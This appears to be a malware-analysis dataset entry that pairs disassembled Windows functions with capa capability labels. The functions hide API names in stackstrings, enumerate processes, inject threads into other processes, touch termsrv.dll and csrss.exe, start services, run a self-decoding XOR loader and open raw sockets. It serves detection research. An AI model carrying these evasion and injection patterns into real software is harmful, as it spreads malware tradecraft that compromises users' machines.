joyce8/EMBER2024-capa huggingface dataset:
Function at 0x419f66
Capabilities:
Contain obfuscated stackstrings
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
mov dword [ebp - 0x20], 0
mov byte [ebp - 0x1c], 0x43
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x65
mov byte [ebp - 0x19], 0x61
mov byte [ebp - 0x18], 0x74
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x54
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6f
mov byte [ebp - 0x13], 0x6c
mov byte [ebp - 0x12], 0x68
mov byte [ebp - 0x11], 0x65
mov byte [ebp - 0x10], 0x6c
mov byte [ebp - 0xf], 0x70
mov byte [ebp - 0xe], 0x33
mov byte [ebp - 0xd], 0x32
mov byte [ebp - 0xc], 0x53
mov byte [ebp - 0xb], 0x6e
mov byte [ebp - 0xa], 0x61
mov byte [ebp - 9], 0x70
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x68
mov byte [ebp - 6], 0x6f
mov byte [ebp - 5], 0x74
mov byte [ebp - 4], 0
mov byte [ebp - 0x3c], 0x4b
mov byte [ebp - 0x3b], 0x45
mov byte [ebp - 0x3a], 0x52
mov byte [ebp - 0x39], 0x4e
mov byte [ebp - 0x38], 0x45
mov byte [ebp - 0x37], 0x4c
mov byte [ebp - 0x36], 0x33
mov byte [ebp - 0x35], 0x32
mov byte [ebp - 0x34], 0x2e
mov byte [ebp - 0x33], 0x64
mov byte [ebp - 0x32], 0x6c
mov byte [ebp - 0x31], 0x6c
mov byte [ebp - 0x30], 0
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x3c]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x40], eax
push 0
push 2
call dword [ebp - 0x40]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x41a0c6
mov dword [ebp - 0x168], 0x128
push 0
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
lea edx, [ebp - 0x168]
push edx
mov eax, dword [ebp - 0x24]
push eax
call sub.KERNEL32.dll_Process32First
mov dword [ebp - 0x28], eax
jmp 0x41a077
lea ecx, [ebp - 0x168]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call sub.KERNEL32.dll_Process32Next
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x41a0a6
lea eax, [ebp - 0x144]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x41a0a4
mov edx, dword [ebp - 0x160]
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x20], 1
jmp 0x41a0a6
jmp 0x41a064
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
cmp dword [ebp - 0x20], 1
jne 0x41a0c6
mov eax, dword [ebp - 0x2c]
jmp 0x41a0c8
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x41a221
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push 0
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
cmp dword [ebp + 0xc], 0
jne 0x41a23f
xor al, al
jmp 0x41a348
mov eax, dword [ebp + 8]
push eax
push 0
push 0x2a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x41a25d
xor al, al
jmp 0x41a348
mov byte [ebp - 0x28], 0x6b
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x72
mov byte [ebp - 0x25], 0x6e
mov byte [ebp - 0x24], 0x65
mov byte [ebp - 0x23], 0x6c
mov byte [ebp - 0x22], 0x33
mov byte [ebp - 0x21], 0x32
mov byte [ebp - 0x20], 0x2e
mov byte [ebp - 0x1f], 0x64
mov byte [ebp - 0x1e], 0x6c
mov byte [ebp - 0x1d], 0x6c
mov byte [ebp - 0x1c], 0
mov byte [ebp - 0x10], 0x46
mov byte [ebp - 0xf], 0x72
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x4c
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x62
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x61
mov byte [ebp - 7], 0x72
mov byte [ebp - 6], 0x79
mov byte [ebp - 5], 0
push 0
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
lea ecx, [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x18], eax
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
push 0
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
push 0
push 0
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x41a31b
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x41a348
push 0xffffffffffffffff
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x41a34c
Capabilities:
Contain obfuscated stackstrings
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x164
mov dword [ebp - 4], 0
mov dword [ebp - 0x13c], 0x128
mov byte [ebp - 0x158], 0x43
mov byte [ebp - 0x157], 0x72
mov byte [ebp - 0x156], 0x65
mov byte [ebp - 0x155], 0x61
mov byte [ebp - 0x154], 0x74
mov byte [ebp - 0x153], 0x65
mov byte [ebp - 0x152], 0x54
mov byte [ebp - 0x151], 0x6f
mov byte [ebp - 0x150], 0x6f
mov byte [ebp - 0x14f], 0x6c
mov byte [ebp - 0x14e], 0x68
mov byte [ebp - 0x14d], 0x65
mov byte [ebp - 0x14c], 0x6c
mov byte [ebp - 0x14b], 0x70
mov byte [ebp - 0x14a], 0x33
mov byte [ebp - 0x149], 0x32
mov byte [ebp - 0x148], 0x53
mov byte [ebp - 0x147], 0x6e
mov byte [ebp - 0x146], 0x61
mov byte [ebp - 0x145], 0x70
mov byte [ebp - 0x144], 0x73
mov byte [ebp - 0x143], 0x68
mov byte [ebp - 0x142], 0x6f
mov byte [ebp - 0x141], 0x74
mov byte [ebp - 0x140], 0
mov byte [ebp - 0x14], 0x4b
mov byte [ebp - 0x13], 0x45
mov byte [ebp - 0x12], 0x52
mov byte [ebp - 0x11], 0x4e
mov byte [ebp - 0x10], 0x45
mov byte [ebp - 0xf], 0x4c
mov byte [ebp - 0xe], 0x33
mov byte [ebp - 0xd], 0x32
mov byte [ebp - 0xc], 0x2e
mov byte [ebp - 0xb], 0x64
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x6c
mov byte [ebp - 8], 0
lea eax, [ebp - 0x158]
push eax
lea ecx, [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x15c], eax
push 0
push 2
call dword [ebp - 0x15c]
mov dword [ebp - 0x160], eax
push 0
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
lea edx, [ebp - 0x13c]
push edx
mov eax, dword [ebp - 0x160]
push eax
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x41a4fb
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x134]
push edx
call fcn.00401758
add esp, 8
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0
je 0x41a4e4
push 0
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
mov eax, dword [ebp - 0x164]
push eax
mov ecx, dword [ebp - 0x134]
push ecx
call fcn.0040174e
add esp, 8
and eax, 0xff
mov dword [ebp - 4], eax
lea edx, [ebp - 0x13c]
push edx
mov eax, dword [ebp - 0x160]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x41a499
mov ecx, dword [ebp - 0x160]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp dword [ebp - 4], 0
setne al
mov esp, ebp
pop ebp
ret
Function at 0x41a515
Capabilities:
Acquire debug privileges
Contain obfuscated stackstrings
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov byte [ebp - 0x1c], 0x47
mov byte [ebp - 0x1b], 0x65
mov byte [ebp - 0x1a], 0x74
mov byte [ebp - 0x19], 0x53
mov byte [ebp - 0x18], 0x79
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x74
mov byte [ebp - 0x15], 0x65
mov byte [ebp - 0x14], 0x6d
mov byte [ebp - 0x13], 0x44
mov byte [ebp - 0x12], 0x69
mov byte [ebp - 0x11], 0x72
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], 0x63
mov byte [ebp - 0xe], 0x74
mov byte [ebp - 0xd], 0x6f
mov byte [ebp - 0xc], 0x72
mov byte [ebp - 0xb], 0x79
mov byte [ebp - 0xa], 0x41
mov byte [ebp - 9], 0
mov byte [ebp - 0x2c], 0x4b
mov byte [ebp - 0x2b], 0x45
mov byte [ebp - 0x2a], 0x52
mov byte [ebp - 0x29], 0x4e
mov byte [ebp - 0x28], 0x45
mov byte [ebp - 0x27], 0x4c
mov byte [ebp - 0x26], 0x33
mov byte [ebp - 0x25], 0x32
mov byte [ebp - 0x24], 0x2e
mov byte [ebp - 0x23], 0x64
mov byte [ebp - 0x22], 0x6c
mov byte [ebp - 0x21], 0x6c
mov byte [ebp - 0x20], 0
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
push 0x104
lea edx, [ebp - 0x130]
push edx
call dword [ebp - 8]
push str._termsrv.dll
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
push 1
push 0x437800
call fcn.0040182a
add esp, 8
lea ecx, [ebp - 0x130]
push ecx
call fcn.004014d3
add esp, 4
and eax, 0xff
test eax, eax
jne 0x41a612
jmp 0x41a6b8
push 0
push 0x437814
call fcn.0040182a
add esp, 8
push 0
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
push 1
push 0x437828
call fcn.0040182a
add esp, 8
push str.csrss.exe
call fcn.0040141f
add esp, 4
mov dword [ebp - 4], eax
push 0
call dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownA]
test eax, eax
jne 0x41a6a9
push str.drwtsn32.exe
call fcn.0040141f
add esp, 4
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0
je 0x41a690
push 0
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
mov edx, dword [ebp - 0x134]
push edx
push 0x401311
call dword [sym.imp.USER32.dll_EnumWindows]
mov eax, dword [ebp - 4]
push eax
push 0x401311
call dword [sym.imp.USER32.dll_EnumWindows]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x41a64b
push 0
push 0x437858
call fcn.0040182a
add esp, 8
mov esp, ebp
pop ebp
ret
Function at 0x41a6bc
Capabilities:
Contain obfuscated stackstrings
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov byte [ebp - 0x24], 0x4f
mov byte [ebp - 0x23], 0x70
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0x6e
mov byte [ebp - 0x20], 0x53
mov byte [ebp - 0x1f], 0x43
mov byte [ebp - 0x1e], 0x4d
mov byte [ebp - 0x1d], 0x61
mov byte [ebp - 0x1c], 0x6e
mov byte [ebp - 0x1b], 0x61
mov byte [ebp - 0x1a], 0x67
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x72
mov byte [ebp - 0x17], 0x41
mov byte [ebp - 0x16], 0
mov byte [ebp - 0x14], 0x41
mov byte [ebp - 0x13], 0x44
mov byte [ebp - 0x12], 0x56
mov byte [ebp - 0x11], 0x41
mov byte [ebp - 0x10], 0x50
mov byte [ebp - 0xf], 0x49
mov byte [ebp - 0xe], 0x33
mov byte [ebp - 0xd], 0x32
mov byte [ebp - 0xc], 0x2e
mov byte [ebp - 0xb], 0x64
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x6c
mov byte [ebp - 8], 0
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x28], eax
push 2
push 0
push 0
call dword [ebp - 0x28]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x41a7a5
push 0
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
push 0x10010
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x41a79b
push 0
push 0
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esp, ebp
pop ebp
ret
Function at 0x405e50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x405e5f
pop dword [ebp - 8]
mov eax, 0xeba3de53
sub eax, 0xeb637ff4
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0xcc113a6e
add dword [ebp - 0x18], 0x82410add
mov dword [ebp - 0x14], 0x98b40696
add dword [ebp - 0x14], 0x997f45af
mov dword [ebp - 0x10], 0x80a7e51f
add dword [ebp - 0x10], 0xcba45f0f
mov dword [ebp - 0xc], 0x6d09657c
sub dword [ebp - 0xc], 0x6d09657c
lea eax, [ebp - 0x18]
push eax
mov eax, 0xe0fa72ae
sub eax, 0xe0b91216
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x599003e
sub dword [ebp - 0x18], 0x912696e8
mov dword [ebp - 0x14], 0x3c9d6695
add dword [ebp - 0x14], 0x4cefae0
mov dword [ebp - 0x10], 0x184fc716
add dword [ebp - 0x10], 0x4b1fa556
mov dword [ebp - 0xc], 0xa61d7881
sub dword [ebp - 0xc], 0xa61d7881
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0x44d4f673
sub eax, 0x449395ff
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x3a0e8
push 0
call eax
mov ecx, 0x874f1456
add ecx, 0x78b12fd3
mov edi, eax
mov ebx, 0x39656b09
sub ebx, 0x3922c509
add ebx, dword [ebp - 8]
mov edx, 0x8fbbe894
sub dword [ebp - 4], ebx
mov esi, dword [ebx]
add dword [ebp - 4], esi
xor esi, edx
add dword [ebp - 4], 0x13c2236a
mov dword [edi], esi
sub dword [ebp - 4], eax
add edi, 0x7028f55a
sub edi, 0x7028f556
add ebx, 0xb9cb6447
add ebx, 0x46349bbd
loop 0x405f7b
add eax, 0x10377
xor ebx, ebx
add ebx, eax
add eax, 0x3f14997d
add eax, 0xc0eb6688
mov ecx, 0xf7b827ad
sub ecx, 0xf77827ad
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x4022e0
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ecx
cmp dword [0x41c3c8], 0xffffffff
jne 0x402311
push 0
push 1
push 2
mov dword [0x41c3c4], eax
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x41c3c8], eax
mov dword [0x51c3d4], 0x403080
call fcn.00402260
pop ecx
ret
mov al, 1
pop ecx
ret

Function at 0x402320
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x41b084]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push esi
mov esi, ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov word [ebp - 8], ax
mov byte [ebp - 6], al
mov word [ebp - 0x14], 0xcffc
mov byte [ebp - 0x12], 0xab
xor ecx, ecx
mov edi, edi
mov eax, 0xaaaaaaab
mul ecx
shr edx, 1
lea eax, [edx + edx*2]
mov edx, ecx
sub edx, eax
mov al, byte [ebp + edx - 0x14]
xor al, byte [esi + ecx + 6]
inc ecx
mov byte [ebp + ecx - 0x11], al
cmp ecx, 0xb
jl 0x402350
movzx esi, word [esi + 4]
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x10]
push ecx
call fcn.00401a90
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00407a74
mov esp, ebp
pop ebp
ret

Function at 0x402ac0
Capabilities:
Connect socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x41b084]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x41c3c8], 0xffffffff
movzx eax, word [0x51f0f4]
push esi
je 0x402b86
mov ecx, 2
push eax
mov word [ebp - 0x14], cx
call dword [sym.imp.WS2_32.dll_htons]
push 0x51f0d0
mov word [ebp - 0x12], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
jne 0x402b32
push 0x51f0d0
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x402b32
movsx edx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
push edx
push ecx
lea edx, [ebp - 0x10]
push edx
call fcn.0040fc60
add esp, 0xc
mov ecx, dword [0x41c3c8]
push 0x10
lea eax, [ebp - 0x14]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
mov esi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0xffffffff
jne 0x402b97
call esi
cmp eax, 0x2733
je 0x402b97
call esi
push eax
push str._Connection__connect___failed_with_error:__d
push 1
call fcn.004074e0
mov eax, dword [0x41c3c8]
add esp, 0xc
cmp eax, 0xffffffff
je 0x402b86
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [0x41c3c8], 0xffffffff
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407a74
mov esp, ebp
pop ebp
ret
mov edx, dword [0x41c3c4]
mov eax, dword [0x41c3c8]
push 0x23
push 0x401
push edx
push eax
call dword [sym.imp.WS2_32.dll_WSAAsyncSelect]
cmp eax, 0xffffffff
jne 0x402bc0
call esi
push eax
push str._Connection__WSAAsyncSelect___failed_with_error:__d
jmp 0x402b61
push 0x80000
push 0
push 0x41c3cc
call fcn.0040ce80
push 0x80000
push 0
push 0x49c3d0
mov dword [0x49c3cc], 0
call fcn.0040ce80
mov ecx, dword [ebp - 4]
add esp, 0x18
xor ecx, ebp
mov dword [0x51c3d0], 0
mov al, 1
pop esi
call fcn.00407a74
mov esp, ebp
pop ebp
ret
Function at 0x402c30
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x49c3cc]
push esi
push edi
xor edi, edi
push edi
mov ecx, 0x80000
sub ecx, eax
push ecx
lea edx, [eax + 0x41c3cc]
mov eax, dword [0x41c3c8]
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x402caa
mov esi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call esi
cmp eax, 0x2733
jne 0x402c75
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
call esi
push eax
push str._Connection__recv___failed_with_error:__d
push 1
call fcn.004074e0
mov eax, dword [0x41c3c8]
add esp, 0xc
cmp eax, 0xffffffff
je 0x402ca2
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [0x41c3c8], 0xffffffff
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
mov edx, dword [0x49c3cc]
add edx, eax
mov dword [0x49c3cc], edx
cmp edx, 3
jl 0x402c6d
push ebx
mov edi, edi
mov al, byte [edi + 0x41c3cc]
lea ebx, [edi + 0x41c3cc]
cmp al, 0xc1
jne 0x402cdf
movzx esi, byte [edi + 0x41c3cd]
mov cl, byte [edi + 0x41c3ce]
jmp 0x402d04
cmp al, 0xc2
jne 0x402d8f
movzx ecx, byte [edi + 0x41c3cd]
shl cx, 8
movzx esi, cx
movzx ecx, byte [edi + 0x41c3ce]
or esi, ecx
mov cl, byte [edi + 0x41c3cf]
mov byte [ebp - 4], cl
cmp esi, 3
jl 0x402d75
cmp esi, 0x80000
jg 0x402d75
cmp esi, edx
jg 0x402d44
mov edx, dword [ebp - 4]
push esi
push ebx
push edx
call dword [0x51c3d4]
mov edx, dword [0x49c3cc]
sub edx, esi
add esp, 0xc
add edi, esi
mov dword [0x49c3cc], edx
test edx, edx
jg 0x402cc0
pop ebx
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
test edi, edi
jle 0x402d6c
test edx, edx
jle 0x402d6c
mov eax, 0x80000
sub eax, edi
cmp edx, eax
jg 0x402d6c
push edx
lea ecx, [edi + 0x41c3cc]
push ecx
push 0x41c3cc
call fcn.00407e80
add esp, 0xc
pop ebx
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
movzx edx, cl
push edx
movzx eax, al
push esi
push eax
push str._Connection__Protocol_size_error__Header:__x__Size:__d__Head:__x_
push 1
call fcn.004074e0
add esp, 0x14
jmp 0x402da6
movzx ecx, byte [edi + 0x41c3cc]
push ecx
push str._Connection__Protocol_header_error__Header:__x_
push 1
call fcn.004074e0
add esp, 0xc
mov eax, dword [0x41c3c8]
cmp eax, 0xffffffff
je 0x402dc1
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [0x41c3c8], 0xffffffff
pop ebx
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402dd0
Capabilities:
Send data
Send data on socket

Disassembly:
push esi
push 0x51c3dc
mov esi, eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [0x41c3c8], 0xffffffff
je 0x402e26
mov eax, dword [0x51c3d0]
test eax, eax
jle 0x402e5b
lea ecx, [eax + esi]
cmp ecx, 0x80000
jle 0x402e35
push ecx
push str._Connection__Max_msg_size__Type:_1__Size:__d_
push 1
call fcn.004074e0
mov eax, dword [0x41c3c8]
add esp, 0xc
cmp eax, 0xffffffff
je 0x402e26
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [0x41c3c8], 0xffffffff
push 0x51c3dc
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor al, al
pop esi
ret
push esi
lea eax, [eax + 0x49c3d0]
push ebx
push eax
call fcn.0040fc60
add dword [0x51c3d0], esi
add esp, 0xc
push 0x51c3dc
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
pop esi
ret
push edi
xor edi, edi
test esi, esi
jle 0x402e83
mov edx, dword [0x41c3c8]
push 0
push esi
lea ecx, [edi + ebx]
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x402e93
sub esi, eax
add edi, eax
test esi, esi
jg 0x402e62
push 0x51c3dc
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
mov al, 1
pop esi
ret
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x402f03
mov eax, dword [0x51c3d0]
lea ecx, [eax + esi]
cmp ecx, 0x80000
jle 0x402eda
push ecx
push str._Connection__Max_msg_size__Type:_2__Size:__d_
push 1
call fcn.004074e0
add esp, 0xc
mov esi, 0x41c3c0
call fcn.00402c10
push 0x51c3dc
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
xor al, al
pop esi
ret
push esi
add edi, ebx
lea eax, [eax + 0x49c3d0]
push edi
push eax
call fcn.0040fc60
add dword [0x51c3d0], esi
add esp, 0xc
push 0x51c3dc
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
mov al, 1
pop esi
ret
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str._Connection__send___failed_with_error:__d
push 1
call fcn.004074e0
mov eax, dword [0x41c3c8]
add esp, 0xc
cmp eax, 0xffffffff
je 0x402f34
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [0x41c3c8], 0xffffffff
push 0x51c3dc
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
xor al, al
pop esi
ret
Function at 0x402f50
Capabilities:
Send data
Send data on socket

Disassembly:
push esi
push edi
push 0x51c3dc
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [0x51c3d0]
xor esi, esi
test ecx, ecx
jle 0x402f9c
mov edi, dword [sym.imp.WS2_32.dll_send]
nop
push 0
push ecx
mov ecx, dword [0x41c3c8]
lea eax, [esi + 0x49c3d0]
push eax
push ecx
call edi
cmp eax, 0xffffffff
je 0x402fac
mov ecx, dword [0x51c3d0]
sub ecx, eax
add esi, eax
mov dword [0x51c3d0], ecx
test ecx, ecx
jg 0x402f70
push 0x51c3dc
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
mov al, 1
pop esi
ret
mov edi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call edi
cmp eax, 0x2733
jne 0x402fe6
mov edx, dword [0x51c3d0]
push edx
lea eax, [esi + 0x49c3d0]
push eax
push 0x49c3d0
call fcn.00407e80
add esp, 0xc
push 0x51c3dc
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
mov al, 1
pop esi
ret
call edi
push eax
push str._Connection__send___failed_with_error:__d
push 1
call fcn.004074e0
mov eax, dword [0x41c3c8]
add esp, 0xc
cmp eax, 0xffffffff
je 0x403013
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [0x41c3c8], 0xffffffff
push 0x51c3dc
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
xor al, al
pop esi
ret

Function at 0x404a30
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x41b084]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x51c620]
push ebx
push esi
push edi
test eax, eax
js 0x404b41
cmp eax, 1
jge 0x404b41
mov esi, eax
imul esi, esi, 0x214
push 0x100
add esi, 0x51c40c
push 0x418998
inc eax
lea edi, [esi + 4]
push 0x100
mov dword [0x51c620], eax
push edi
mov dword [esi], 1
call fcn.00407bbd
add esp, 0x10
cmp dword [esi], 0
je 0x404b41
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0xe]
movzx ecx, word [ebp - 0x12]
movzx edx, word [ebp - 0x14]
push eax
push ecx
push edx
push edi
lea ebx, [esi + 0x110]
push str.._s_04d_02d_02d.log
push ebx
mov dword [esi + 0x104], eax
mov dword [esi + 0x108], ecx
mov dword [esi + 0x10c], edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 0
push 0x80
push 4
push 0
push 1
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esi + 0x210], eax
cmp eax, 0xffffffff
jne 0x404b1c
mov dword [esi], 0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407a74
mov esp, ebp
pop ebp
ret
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x404b41
mov ecx, dword [esi + 0x210]
push ecx
mov dword [esi], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407a74
mov esp, ebp
pop ebp
ret